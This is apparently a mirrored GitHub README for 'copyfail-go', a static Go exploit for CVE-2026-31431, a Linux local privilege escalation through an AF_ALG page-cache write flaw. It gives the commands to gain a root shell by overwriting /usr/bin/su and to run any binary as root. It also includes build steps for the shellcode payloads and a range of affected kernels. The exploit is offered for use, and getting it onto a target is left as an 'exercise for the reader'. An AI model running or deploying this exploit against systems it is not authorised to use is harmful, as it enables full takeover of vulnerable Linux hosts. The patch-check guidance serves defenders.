mirror of
https://github.com/badsectorlabs/copyfail-go.git
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9f4e4936ec
- Updated .goreleaser.yaml to include armv7 builds. - Added new shellcode payloads for armv7l - Enhanced build-n-print.sh to support building payloads for armv7l architecture. - Updated README.md with instructions for compiling payloads on Debian systems.
61 lines
2.9 KiB
Markdown
61 lines
2.9 KiB
Markdown
# CopyFail Go
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> Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017.
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A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency.
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See [copy.fail](https://copy.fail) for more info.
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## Interactive shell
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```shell
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# Get the binary to your Linux host with code execution (exercise for the reader)
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user@host$ chmod +x copyfail-go
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user@host$ ./copyfail-go --backup /tmp/su
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root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
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root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
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root@host# rm /tmp/su
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root@host# # Do things as root =)
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```
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## Run binary as root
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Useful to elevate a program to root
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```shell
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# Get the binary to your Linux host with code execution (exercise for the reader)
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user@host$ chmod +x copyfail-go
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user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
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user@host$ # Use whatever you ran to restore su from /tmp/su
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```
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## Don't trust those hex blobs?
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Compile the payloads yourself with `payloads/build-n-print.sh` on a Debian host (Debian 13 tested).
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You'll need to `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf` then run the script from in the payloads directory. It will compile each payload and output the zlib compressed hex strings. Compare those to what is in `main.go` (or replace them with your own) and build the `copyfile-go` binaries with `goreleaser build --snapshot --clean` from the main project directory.
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## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
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```
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floor: torvalds/linux 72548b093ee3 August 2017, v4.14
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(AF_ALG iov_iter rework that
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introduced the file-page write
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primitive via splice into the AEAD
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scatterlist)
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ceiling: torvalds/linux a664bf3d603d April 2026, mainline
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(reverts the 2017 algif_aead
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in-place optimization; separates
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source and destination scatterlists
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so page-cache pages can no longer
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be a writable crypto destination)
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```
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In between: every major distro kernel that didn't backport the fix.
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Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable
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in their stock cloud-image kernels at disclosure time. Distro-level
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backports started rolling out around 2026-04-29 alongside the public
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disclosure. To verify whether a target kernel is in-window, check whether
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`a664bf3d603d` (or its distro-specific backport) is present in the kernel's
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git log or the distro's changelog.
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